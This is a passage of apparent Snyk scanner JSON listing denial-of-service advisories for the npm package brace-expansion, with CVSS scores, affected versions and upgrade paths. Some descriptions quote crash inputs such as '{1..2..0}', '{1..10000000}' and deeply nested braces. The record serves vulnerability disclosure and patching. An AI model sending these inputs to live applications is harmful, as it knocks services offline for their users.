`maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": 